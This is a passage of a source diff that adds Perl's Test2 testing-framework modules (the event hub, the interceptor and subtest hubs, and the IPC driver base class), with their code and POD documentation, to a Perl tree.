+ return $ipc->send($self->{+HID}, $e)
+ if $$ != $self->{+PID} || get_tid() != $self->{+TID};
+
+ $self->process($e);
+}
+
+sub process {
+ my $self = shift;
+ my ($e) = @_;
+
+ if ($self->{+_FILTERS}) {
+ for (@{$self->{+_FILTERS}}) {
+ $e = $_->{code}->($self, $e);
+ return unless $e;
+ }
+ }
+
+ # Optimize the most common case
+ my $type = ref($e);
+ if ($type eq 'Test2::Event::Pass' || ($type eq 'Test2::Event::Ok' && $e->{pass})) {
+ my $count = ++($self->{+COUNT});
+ $self->{+_FORMATTER}->write($e, $count) if $self->{+_FORMATTER};
+
+ if ($self->{+_LISTENERS}) {
+ $_->{code}->($self, $e, $count) for @{$self->{+_LISTENERS}};
+ }
+
+ return $e;
+ }
+
+ my $f = $e->facet_data;
+
+ my $fail = 0;
+ $fail = 1 if $f->{assert} && !$f->{assert}->{pass};
+ $fail = 1 if $f->{errors} && grep { $_->{fail} } @{$f->{errors}};
+ $fail = 0 if $f->{amnesty};
+
+ $self->{+COUNT}++ if $f->{assert};
+ $self->{+FAILED}++ if $fail && $f->{assert};
+ $self->{+_PASSING} = 0 if $fail;
+
+ my $code = $f->{control}->{terminate};
+ my $count = $self->{+COUNT};
+
+ if (my $plan = $f->{plan}) {
+ if ($plan->{skip}) {
+ $self->plan('SKIP');
+ $self->set_skip_reason($plan->{details} || 1);
+ $code ||= 0;
+ }
+ elsif ($plan->{none}) {
+ $self->plan('NO PLAN');
+ }
+ else {
+ $self->plan($plan->{count});
+ }
+ }
+
+ $e->callback($self) if $f->{control}->{has_callback};
+
+ $self->{+_FORMATTER}->write($e, $count, $f) if $self->{+_FORMATTER};
+
+ if ($self->{+_LISTENERS}) {
+ $_->{code}->($self, $e, $count, $f) for @{$self->{+_LISTENERS}};
+ }
+
+ if ($f->{control}->{halt}) {
+ $code ||= 255;
+ $self->set_bailed_out($e);
+ }
+
+ if (defined $code) {
+ $self->{+_FORMATTER}->terminate($e, $f) if $self->{+_FORMATTER};
+ $self->terminate($code, $e, $f);
+ }
+
+ return $e;
+}
+
+sub terminate {
+ my $self = shift;
+ my ($code) = @_;
+ exit($code);
+}
+
+sub cull {
+ my $self = shift;
+
+ my $ipc = $self->{+IPC} || return;
+ return if $self->{+PID} != $$ || $self->{+TID} != get_tid();
+
+ # No need to do IPC checks on culled events
+ $self->process($_) for $ipc->cull($self->{+HID});
+}
+
+sub finalize {
+ my $self = shift;
+ my ($trace, $do_plan) = @_;
+
+ $self->cull();
+
+ my $plan = $self->{+_PLAN};
+ my $count = $self->{+COUNT};
+ my $failed = $self->{+FAILED};
+ my $active = $self->{+ACTIVE};
+
+ # return if NOTHING was done.
+ unless ($active || $do_plan || defined($plan) || $count || $failed) {
+ $self->{+_FORMATTER}->finalize($plan, $count, $failed, 0, $self->is_subtest) if $self->{+_FORMATTER};
+ return;
+ }
+
+ unless ($self->{+ENDED}) {
+ if ($self->{+_FOLLOW_UPS}) {
+ $_->($trace, $self) for reverse @{$self->{+_FOLLOW_UPS}};
+ }
+
+ # These need to be refreshed now
+ $plan = $self->{+_PLAN};
+ $count = $self->{+COUNT};
+ $failed = $self->{+FAILED};
+
+ if (($plan && $plan eq 'NO PLAN') || ($do_plan && !$plan)) {
+ $self->send(
+ Test2::Event::Plan->new(
+ trace => $trace,
+ max => $count,
+ )
+ );
+ }
+ $plan = $self->{+_PLAN};
+ }
+
+ my $frame = $trace->frame;
+ if($self->{+ENDED}) {
+ my (undef, $ffile, $fline) = @{$self->{+ENDED}};
+ my (undef, $sfile, $sline) = @$frame;
+
+ die <<" EOT"
+Test already ended!
+First End: $ffile line $fline
+Second End: $sfile line $sline
+ EOT
+ }
+
+ $self->{+ENDED} = $frame;
+ my $pass = $self->is_passing(); # Generate the final boolean.
+
+ $self->{+_FORMATTER}->finalize($plan, $count, $failed, $pass, $self->is_subtest) if $self->{+_FORMATTER};
+
+ return $pass;
+}
+
+sub is_passing {
+ my $self = shift;
+
+ ($self->{+_PASSING}) = @_ if @_;
+
+ # If we already failed just return 0.
+ my $pass = $self->{+_PASSING} or return 0;
+ return $self->{+_PASSING} = 0 if $self->{+FAILED};
+
+ my $count = $self->{+COUNT};
+ my $ended = $self->{+ENDED};
+ my $plan = $self->{+_PLAN};
+
+ return $pass if !$count && $plan && $plan =~ m/^SKIP$/;
+
+ return $self->{+_PASSING} = 0
+ if $ended && (!$count || !$plan);
+
+ return $pass unless $plan && $plan =~ m/^\d+$/;
+
+ if ($ended) {
+ return $self->{+_PASSING} = 0 if $count != $plan;
+ }
+ else {
+ return $self->{+_PASSING} = 0 if $count > $plan;
+ }
+
+ return $pass;
+}
+
+sub plan {
+ my $self = shift;
+
+ return $self->{+_PLAN} unless @_;
+
+ my ($plan) = @_;
+
+ confess "You cannot unset the plan"
+ unless defined $plan;
+
+ confess "You cannot change the plan"
+ if $self->{+_PLAN} && $self->{+_PLAN} !~ m/^NO PLAN$/;
+
+ confess "'$plan' is not a valid plan! Plan must be an integer greater than 0, 'NO PLAN', or 'SKIP'"
+ unless $plan =~ m/^(\d+|NO PLAN|SKIP)$/;
+
+ $self->{+_PLAN} = $plan;
+}
+
+sub check_plan {
+ my $self = shift;
+
+ return undef unless $self->{+ENDED};
+ my $plan = $self->{+_PLAN} || return undef;
+
+ return 1 if $plan !~ m/^\d+$/;
+
+ return 1 if $plan == $self->{+COUNT};
+ return 0;
+}
+
+sub DESTROY {
+ my $self = shift;
+ my $ipc = $self->{+IPC} || return;
+ return unless $$ == $self->{+PID};
+ return unless get_tid() == $self->{+TID};
+ $ipc->drop_hub($self->{+HID});
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Hub - The conduit through which all events flow.
+
+=head1 SYNOPSIS
+
+ use Test2::Hub;
+
+ my $hub = Test2::Hub->new();
+ $hub->send(...);
+
+=head1 DESCRIPTION
+
+The hub is the place where all events get processed and handed off to the
+formatter. The hub also tracks test state, and provides several hooks into the
+event pipeline.
+
+=head1 COMMON TASKS
+
+=head2 SENDING EVENTS
+
+ $hub->send($event)
+
+The C<send()> method is used to issue an event to the hub. This method will
+handle thread/fork sync, filters, listeners, TAP output, etc.
+
+=head2 ALTERING OR REMOVING EVENTS
+
+You can use either C<filter()> or C<pre_filter()>, depending on your
+needs. Both have identical syntax, so only C<filter()> is shown here.
+
+ $hub->filter(sub {
+ my ($hub, $event) = @_;
+
+ my $action = get_action($event);
+
+ # No action should be taken
+ return $event if $action eq 'none';
+
+ # You want your filter to remove the event
+ return undef if $action eq 'delete';
+
+ if ($action eq 'do_it') {
+ my $new_event = copy_event($event);
+ ... Change your copy of the event ...
+ return $new_event;
+ }
+
+ die "Should not happen";
+ });
+
+By default, filters are not inherited by child hubs. That means if you start a
+subtest, the subtest will not inherit the filter. You can change this behavior
+with the C<inherit> parameter:
+
+ $hub->filter(sub { ... }, inherit => 1);
+
+=head2 LISTENING FOR EVENTS
+
+ $hub->listen(sub {
+ my ($hub, $event, $number) = @_;
+
+ ... do whatever you want with the event ...
+
+ # return is ignored
+ });
+
+By default listeners are not inherited by child hubs. That means if you start a
+subtest, the subtest will not inherit the listener. You can change this behavior
+with the C<inherit> parameter:
+
+ $hub->listen(sub { ... }, inherit => 1);
+
+
+=head2 POST-TEST BEHAVIORS
+
+ $hub->follow_up(sub {
+ my ($trace, $hub) = @_;
+
+ ... do whatever you need to ...
+
+ # Return is ignored
+ });
+
+follow_up subs are called only once, either when done_testing is called, or in
+an END block.
+
+=head2 SETTING THE FORMATTER
+
+By default an instance of L<Test2::Formatter::TAP> is created and used.
+
+ my $old = $hub->format(My::Formatter->new);
+
+Setting the formatter will REPLACE any existing formatter. You may set the
+formatter to undef to prevent output. The old formatter will be returned if one
+was already set. Only one formatter is allowed at a time.
+
+=head1 METHODS
+
+=over 4
+
+=item $hub->send($event)
+
+This is where all events enter the hub for processing.
+
+=item $hub->process($event)
+
+This is called by send after it does any IPC handling. You can use this to
+bypass the IPC process, but in general you should avoid using this.
+
+=item $old = $hub->format($formatter)
+
+Replace the existing formatter instance with a new one. Formatters must be
+objects that implement a C<< $formatter->write($event) >> method.
+
+=item $sub = $hub->listen(sub { ... }, %optional_params)
+
+You can use this to record all events AFTER they have been sent to the
+formatter. No changes made here will be meaningful, except possibly to other
+listeners.
+
+ $hub->listen(sub {
+ my ($hub, $event, $number) = @_;
+
+ ... do whatever you want with the event ...
+
+ # return is ignored
+ });
+
+Normally listeners are not inherited by child hubs such as subtests. You can
+add the C<< inherit => 1 >> parameter to allow a listener to be inherited.
+
+=item $hub->unlisten($sub)
+
+You can use this to remove a listen callback. You must pass in the coderef
+returned by the C<listen()> method.
+
+=item $sub = $hub->filter(sub { ... }, %optional_params)
+
+=item $sub = $hub->pre_filter(sub { ... }, %optional_params)
+
+These can be used to add filters. Filters can modify, replace, or remove events
+before anything else can see them.
+
+ $hub->filter(
+ sub {
+ my ($hub, $event) = @_;
+
+ return $event; # No Changes
+ return; # Remove the event
+
+ # Or you can modify an event before returning it.
+ $event->modify;
+ return $event;
+ }
+ );
+
+If you are not using threads, forking, or IPC then the only difference between
+a C<filter> and a C<pre_filter> is that C<pre_filter> subs run first. When you
+are using threads, forking, or IPC, pre_filters happen to events before they
+are sent to their destination proc/thread, ordinary filters happen only in the
+destination hub/thread.
+
+You cannot add a regular filter to a hub if the hub was created in another
+process or thread. You can always add a pre_filter.
+
+=item $hub->unfilter($sub)
+
+=item $hub->pre_unfilter($sub)
+
+These can be used to remove filters and pre_filters. The C<$sub> argument is
+the reference returned by C<filter()> or C<pre_filter()>.
+
+=item $hub->follow_op(sub { ... })
+
+Use this to add behaviors that are called just before the hub is finalized. The
+only argument to your codeblock will be a L<Test2::EventFacet::Trace> instance.
+
+ $hub->follow_up(sub {
+ my ($trace, $hub) = @_;
+
+ ... do whatever you need to ...
+
+ # Return is ignored
+ });
+
+follow_up subs are called only once, ether when done_testing is called, or in
+an END block.
+
+=item $sub = $hub->add_context_acquire(sub { ... });
+
+Add a callback that will be called every time someone tries to acquire a
+context. It gets a single argument, a reference of the hash of parameters
+being used the construct the context. This is your chance to change the
+parameters by directly altering the hash.
+
+ test2_add_callback_context_acquire(sub {
+ my $params = shift;
+ $params->{level}++;
+ });
+
+This is a very scary API function. Please do not use this unless you need to.
+This is here for L<Test::Builder> and backwards compatibility. This has you
+directly manipulate the hash instead of returning a new one for performance
+reasons.
+
+B<Note> Using this hook could have a huge performance impact.
+
+The coderef you provide is returned and can be used to remove the hook later.
+
+=item $hub->remove_context_acquire($sub);
+
+This can be used to remove a context acquire hook.
+
+=item $sub = $hub->add_context_init(sub { ... });
+
+This allows you to add callbacks that will trigger every time a new context is
+created for the hub. The only argument to the sub will be the
+L<Test2::API::Context> instance that was created.
+
+B<Note> Using this hook could have a huge performance impact.
+
+The coderef you provide is returned and can be used to remove the hook later.
+
+=item $hub->remove_context_init($sub);
+
+This can be used to remove a context init hook.
+
+=item $sub = $hub->add_context_release(sub { ... });
+
+This allows you to add callbacks that will trigger every time a context for
+this hub is released. The only argument to the sub will be the
+L<Test2::API::Context> instance that was released. These will run in reverse
+order.
+
+B<Note> Using this hook could have a huge performance impact.
+
+The coderef you provide is returned and can be used to remove the hook later.
+
+=item $hub->remove_context_release($sub);
+
+This can be used to remove a context release hook.
+
+=item $hub->cull()
+
+Cull any IPC events (and process them).
+
+=item $pid = $hub->pid()
+
+Get the process id under which the hub was created.
+
+=item $tid = $hub->tid()
+
+Get the thread id under which the hub was created.
+
+=item $hud = $hub->hid()
+
+Get the identifier string of the hub.
+
+=item $uuid = $hub->uuid()
+
+If UUID tagging is enabled (see L<Test2::API>) then the hub will have a UUID.
+
+=item $ipc = $hub->ipc()
+
+Get the IPC object used by the hub.
+
+=item $hub->set_no_ending($bool)
+
+=item $bool = $hub->no_ending
+
+This can be used to disable auto-ending behavior for a hub. The auto-ending
+behavior is triggered by an end block and is used to cull IPC events, and
+output the final plan if the plan was 'no_plan'.
+
+=item $bool = $hub->active
+
+=item $hub->set_active($bool)
+
+These are used to get/set the 'active' attribute. When true this attribute will
+force C<< hub->finalize() >> to take action even if there is no plan, and no
+tests have been run. This flag is useful for plugins that add follow-up
+behaviors that need to run even if no events are seen.
+
+=back
+
+=head2 STATE METHODS
+
+=over 4
+
+=item $hub->reset_state()
+
+Reset all state to the start. This sets the test count to 0, clears the plan,
+removes the failures, etc.
+
+=item $num = $hub->count
+
+Get the number of tests that have been run.
+
+=item $num = $hub->failed
+
+Get the number of failures (Not all failures come from a test fail, so this
+number can be larger than the count).
+
+=item $bool = $hub->ended
+
+True if the testing has ended. This MAY return the stack frame of the tool that
+ended the test, but that is not guaranteed.
+
+=item $bool = $hub->is_passing
+
+=item $hub->is_passing($bool)
+
+Check if the overall test run is a failure. Can also be used to set the
+pass/fail status.
+
+=item $hub->plan($plan)
+
+=item $plan = $hub->plan
+
+Get or set the plan. The plan must be an integer larger than 0, the string
+'no_plan', or the string 'skip_all'.
+
+=item $bool = $hub->check_plan
+
+Check if the plan and counts match, but only if the tests have ended. If tests
+have not ended this will return undef, otherwise it will be a true/false.
+
+=back
+
+=head1 THIRD PARTY META-DATA
+
+This object consumes L<Test2::Util::ExternalMeta> which provides a consistent
+way for you to attach meta-data to instances of this class. This is useful for
+tools, plugins, and other extensions.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm
new file mode 100644
index 00000000000..b7af4cf427d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm
@@ -0,0 +1,88 @@
+package Test2::Hub::Interceptor;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Test2::Hub::Interceptor::Terminator();
+
+BEGIN { require Test2::Hub; our @ISA = qw(Test2::Hub) }
+use Test2::Util::HashBase;
+
+sub init {
+ my $self = shift;
+ $self->SUPER::init();
+ $self->{+NESTED} = 0;
+}
+
+sub inherit {
+ my $self = shift;
+ my ($from, %params) = @_;
+
+ $self->{+NESTED} = 0;
+
+ if ($from->{+IPC} && !$self->{+IPC} && !exists($params{ipc})) {
+ my $ipc = $from->{+IPC};
+ $self->{+IPC} = $ipc;
+ $ipc->add_hub($self->{+HID});
+ }
+}
+
+sub terminate {
+ my $self = shift;
+ my ($code) = @_;
+
+ eval {
+ no warnings 'exiting';
+ last T2_SUBTEST_WRAPPER;
+ };
+ my $err = $@;
+
+ # Fallback
+ die bless(\$err, 'Test2::Hub::Interceptor::Terminator');
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Hub::Interceptor - Hub used by interceptor to grab results.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm
new file mode 100644
index 00000000000..76ad94a94cc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm
@@ -0,0 +1,51 @@
+package Test2::Hub::Interceptor::Terminator;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Hub::Interceptor::Terminator - Exception class used by
+Test2::Hub::Interceptor
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm
new file mode 100644
index 00000000000..c36a19e1ad6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm
@@ -0,0 +1,136 @@
+package Test2::Hub::Subtest;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+BEGIN { require Test2::Hub; our @ISA = qw(Test2::Hub) }
+use Test2::Util::HashBase qw/nested exit_code manual_skip_all/;
+use Test2::Util qw/get_tid/;
+
+sub is_subtest { 1 }
+
+sub inherit {
+ my $self = shift;
+ my ($from) = @_;
+
+ $self->SUPER::inherit($from);
+
+ $self->{+NESTED} = $from->nested + 1;
+}
+
+{
+ # Legacy
+ no warnings 'once';
+ *ID = \&Test2::Hub::HID;
+ *id = \&Test2::Hub::hid;
+ *set_id = \&Test2::Hub::set_hid;
+}
+
+sub send {
+ my $self = shift;
+ my ($e) = @_;
+
+ my $out = $self->SUPER::send($e);
+
+ return $out if $self->{+MANUAL_SKIP_ALL};
+
+ my $f = $e->facet_data;
+
+ my $plan = $f->{plan} or return $out;
+ return $out unless $plan->{skip};
+
+ my $trace = $f->{trace} or die "Missing Trace!";
+ return $out unless $trace->{pid} != $self->pid
+ || $trace->{tid} != $self->tid;
+
+ no warnings 'exiting';
+ last T2_SUBTEST_WRAPPER;
+}
+
+sub terminate {
+ my $self = shift;
+ my ($code, $e, $f) = @_;
+ $self->set_exit_code($code);
+
+ return if $self->{+MANUAL_SKIP_ALL};
+
+ $f ||= $e->facet_data;
+
+ if(my $plan = $f->{plan}) {
+ my $trace = $f->{trace} or die "Missing Trace!";
+ return if $plan->{skip}
+ && ($trace->{pid} != $$ || $trace->{tid} != get_tid);
+ }
+
+ no warnings 'exiting';
+ last T2_SUBTEST_WRAPPER;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Hub::Subtest - Hub used by subtests
+
+=head1 DESCRIPTION
+
+Subtests make use of this hub to route events.
+
+=head1 TOGGLES
+
+=over 4
+
+=item $bool = $hub->manual_skip_all
+
+=item $hub->set_manual_skip_all($bool)
+
+The default is false.
+
+Normally a skip-all plan event will cause a subtest to stop executing. This is
+accomplished via C<last LABEL> to a label inside the subtest code. Most of the
+time this is perfectly fine. There are times however where this flow control
+causes bad things to happen.
+
+This toggle lets you turn off the abort logic for the hub. When this is toggled
+to true B<you> are responsible for ensuring no additional events are generated.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC.pm
new file mode 100644
index 00000000000..cfee4618023
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC.pm
@@ -0,0 +1,149 @@
+package Test2::IPC;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Test2::API::Instance;
+use Test2::Util qw/get_tid/;
+use Test2::API qw{
+ test2_init_done
+ test2_ipc
+ test2_has_ipc
+ test2_ipc_enable_polling
+ test2_pid
+ test2_stack
+ test2_tid
+ context
+};
+
+use Carp qw/confess/;
+
+our @EXPORT_OK = qw/cull/;
+BEGIN { require Exporter; our @ISA = qw(Exporter) }
+
+sub unimport { Test2::API::test2_ipc_disable() }
+
+sub import {
+ goto &Exporter::import if test2_has_ipc || !test2_init_done();
+
+ confess "IPC is disabled" if Test2::API::test2_ipc_disabled();
+ confess "Cannot add IPC in a child process (" . test2_pid() . " vs $$)" if test2_pid() != $$;
+ confess "Cannot add IPC in a child thread (" . test2_tid() . " vs " . get_tid() . ")" if test2_tid() != get_tid();
+
+ Test2::API::_set_ipc(_make_ipc());
+ apply_ipc(test2_stack());
+
+ goto &Exporter::import;
+}
+
+sub _make_ipc {
+ # Find a driver
+ my ($driver) = Test2::API::test2_ipc_drivers();
+ unless ($driver) {
+ require Test2::IPC::Driver::Files;
+ $driver = 'Test2::IPC::Driver::Files';
+ }
+
+ return $driver->new();
+}
+
+sub apply_ipc {
+ my $stack = shift;
+
+ my ($root) = @$stack;
+
+ return unless $root;
+
+ confess "Cannot add IPC in a child process" if $root->pid != $$;
+ confess "Cannot add IPC in a child thread" if $root->tid != get_tid();
+
+ my $ipc = $root->ipc || test2_ipc() || _make_ipc();
+
+ # Add the IPC to all hubs
+ for my $hub (@$stack) {
+ my $has = $hub->ipc;
+ confess "IPC Mismatch!" if $has && $has != $ipc;
+ next if $has;
+ $hub->set_ipc($ipc);
+ $ipc->add_hub($hub->hid);
+ }
+
+ test2_ipc_enable_polling();
+
+ return $ipc;
+}
+
+sub cull {
+ my $ctx = context();
+ $ctx->hub->cull;
+ $ctx->release;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::IPC - Turn on IPC for threading or forking support.
+
+=head1 SYNOPSIS
+
+You should C<use Test2::IPC;> as early as possible in your test file. If you
+import this module after API initialization it will attempt to retrofit IPC
+onto the existing hubs.
+
+=head2 DISABLING IT
+
+You can use C<no Test2::IPC;> to disable IPC for good. You can also use the
+T2_NO_IPC env var.
+
+=head1 EXPORTS
+
+All exports are optional.
+
+=over 4
+
+=item cull()
+
+Cull allows you to collect results from other processes or threads on demand.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver.pm
new file mode 100644
index 00000000000..a4d72557327
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/IPC/Driver.pm
@@ -0,0 +1,302 @@
+package Test2::IPC::Driver;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Carp qw/confess/;
+use Test2::Util::HashBase qw{no_fatal no_bail};
+
+use Test2::API qw/test2_ipc_add_driver/;
+
+my %ADDED;
+sub import {
+ my $class = shift;
+ return if $class eq __PACKAGE__;
+ return if $ADDED{$class}++;
+ test2_ipc_add_driver($class);
+}
+
+sub use_shm { 0 }
+
+for my $meth (qw/send cull add_hub drop_hub waiting is_viable/) {
+ no strict 'refs';
+ *$meth = sub {
+ my $thing = shift;
+ confess "'$thing' did not define the required method '$meth'."
+ };
+}
+
+# Print the error and call exit. We are not using 'die' cause this is a
+# catastrophic error that should never be caught. If we get here it
+# means some serious shit has happened in a child process, the only way
+# to inform the parent may be to exit false.
+
+sub abort {
+ my $self = shift;
+ chomp(my ($msg) = @_);
+
+ $self->driver_abort($msg) if $self->can('driver_abort');
+
+ print STDERR "IPC Fatal Error: $msg\n";
+ print STDOUT "Bail out! IPC Fatal Error: $msg\n" unless $self->no_bail;
+
+ CORE::exit(255) unless $self->no_fatal;
+}
+
+sub abort_trace {
+ my $self = shift;
+ my ($msg) = @_;
+ # Older versions of Carp do not export longmess() function, so it needs to be called with package name
+ $self->abort(Carp::longmess($msg));
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::IPC::Driver - Base class for Test2 IPC drivers.
+
+=head1 SYNOPSIS
+
+ package Test2::IPC::Driver::MyDriver;
+
+ use base 'Test2::IPC::Driver';
+
+ ...
+
+=head1 METHODS
+
+=over 4
+
+=item $self->abort($msg)
+
+If an IPC encounters a fatal error it should use this. This will print the
+message to STDERR with C<'IPC Fatal Error: '> prefixed to it, then it will
+forcefully exit 255. IPC errors may occur in threads or processes other than
+the main one, this method provides the best chance of the harness noticing the
+error.
+
+=item $self->abort_trace($msg)
+
+This is the same as C<< $ipc->abort($msg) >> except that it uses
+C<Carp::longmess> to add a stack trace to the message.
+
+=item $false = $self->use_shm
+
+The base class always returns false for this method. You may override it if you
+wish to use the SHM made available in L<Test2::API>/L<Test2::API::Instance>.
+
+=back
+
+=head1 LOADING DRIVERS
+
+Test2::IPC::Driver has an C<import()> method. All drivers inherit this import
+method. This import method registers the driver.
+
+In most cases you just need to load the desired IPC driver to make it work. You
+should load this driver as early as possible. A warning will be issued if you
+load it too late for it to be effective.
+
+ use Test2::IPC::Driver::MyDriver;
+ ...
+
+=head1 WRITING DRIVERS
+
+ package Test2::IPC::Driver::MyDriver;
+ use strict;
+ use warnings;
+
+ use base 'Test2::IPC::Driver';
+
+ sub is_viable {
+ return 0 if $^O eq 'win32'; # Will not work on windows.
+ return 1;
+ }
+
+ sub add_hub {
+ my $self = shift;
+ my ($hid) = @_;
+
+ ... # Make it possible to contact the hub
+ }
+
+ sub drop_hub {
+ my $self = shift;
+ my ($hid) = @_;
+
+ ... # Nothing should try to reach the hub anymore.
+ }
+
+ sub send {
+ my $self = shift;
+ my ($hid, $e, $global) = @_;
+
+ ... # Send the event to the proper hub.
+
+ # If you are using the SHM you should notify other procs/threads that
+ # there is a pending event.
+ Test2::API::test2_ipc_set_pending($uniq_val);
+ }
+
+ sub cull {
+ my $self = shift;
+ my ($hid) = @_;
+
+ my @events = ...; # Here is where you get the events for the hub
+
+ return @events;
+ }
+
+ sub waiting {
+ my $self = shift;
+
+ ... # Notify all listening procs and threads that the main
+ ... # process/thread is waiting for them to finish.
+ }
+
+ 1;
+
+=head2 METHODS SUBCLASSES MUST IMPLEMENT
+
+=over 4
+
+=item $ipc->is_viable
+
+This should return true if the driver works in the current environment. This
+should return false if it does not. This is a CLASS method.
+
+=item $ipc->add_hub($hid)
+
+This is used to alert the driver that a new hub is expecting events. The driver
+should keep track of the process and thread ids, the hub should only be dropped
+by the proc+thread that started it.
+
+ sub add_hub {
+ my $self = shift;
+ my ($hid) = @_;
+
+ ... # Make it possible to contact the hub
+ }
+
+=item $ipc->drop_hub($hid)
+
+This is used to alert the driver that a hub is no longer accepting events. The
+driver should keep track of the process and thread ids, the hub should only be
+dropped by the proc+thread that started it (This is the drivers responsibility
+to enforce).
+
+ sub drop_hub {
+ my $self = shift;
+ my ($hid) = @_;
+
+ ... # Nothing should try to reach the hub anymore.
+ }
+
+=item $ipc->send($hid, $event);
+
+=item $ipc->send($hid, $event, $global);
+
+Used to send events from the current process/thread to the specified hub in its
+process+thread.
+
+ sub send {
+ my $self = shift;
+ my ($hid, $e) = @_;
+
+ ... # Send the event to the proper hub.
+
+ # If you are using the SHM you should notify other procs/threads that
+ # there is a pending event.
+ Test2::API::test2_ipc_set_pending($uniq_val);
+ }
+
+If C<$global> is true then the driver should send the event to all hubs in all
+processes and threads.
+
+=item @events = $ipc->cull($hid)
+
+Used to collect events that have been sent to the specified hub.
+
+ sub cull {
+ my $self = shift;
+ my ($hid) = @_;
+
+ my @events = ...; # Here is where you get the events for the hub
+
+ return @events;
+ }
+
+=item $ipc->waiting()
+
+This is called in the parent process when it is complete and waiting for all
+child processes and threads to complete.
+
+ sub waiting {
+ my $self = shift;
+
+ ... # Notify all listening procs and threads that the main
+ ... # process/thread is waiting for them to finish.
+ }
+
+=back
+
+=head2 METHODS SUBCLASSES MAY IMPLEMENT OR OVERRIDE
+
+=over 4
+
+=item $ipc->driver_abort($msg)
+
+This is a hook called by C<< Test2::IPC::Driver->abort() >>. This is your
+chance to cleanup when an abort happens. You cannot prevent the abort, but you
+can gracefully except it.
+
+=item $bool = $ipc->use_shm()
+
